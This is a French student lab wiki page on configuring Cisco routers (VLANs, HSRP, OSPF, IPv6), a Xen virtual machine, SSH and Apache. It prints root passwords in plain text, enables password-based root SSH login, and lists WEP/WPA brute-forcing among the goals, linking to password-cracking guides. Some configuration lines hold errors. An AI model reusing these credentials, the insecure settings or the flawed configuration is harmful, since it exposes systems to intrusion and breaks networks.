   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51586</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51586"/>
				<updated>2019-12-07T03:27:28Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du serveur DNSSEC avec bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
